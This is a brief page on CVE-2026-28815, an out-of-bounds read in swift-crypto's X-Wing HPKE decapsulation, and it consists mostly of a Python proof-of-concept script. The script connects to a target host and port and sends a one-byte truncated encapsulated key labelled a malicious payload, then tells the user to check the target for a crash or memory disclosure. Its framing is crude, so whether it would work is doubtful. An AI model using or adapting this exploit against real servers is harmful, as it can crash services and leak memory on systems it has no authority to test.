CVE-2026-28815 swift-crypto越界读取漏洞

# Conceptual Proof of Concept for CVE-2026-28815 # This demonstrates the logic of sending a truncated key to trigger the OOB read. import socket def trigger_vulnerability(target_ip, target_port): # Normal X-Wing HPKE encapsulated keys have a specific length. # Sending a shorter key triggers the out-of-bounds read in the C decapsulation path. malicious_short_key = b'\x00' # 1 byte key instead of expected length try: print(f"[+] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Sending malformed HPKE encapsulated key...") s.send(malicious_short_key) print("[+] Payload sent. Check target for crash or memory disclosure.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details for testing trigger_vulnerability("127.0.0.1", 8443)
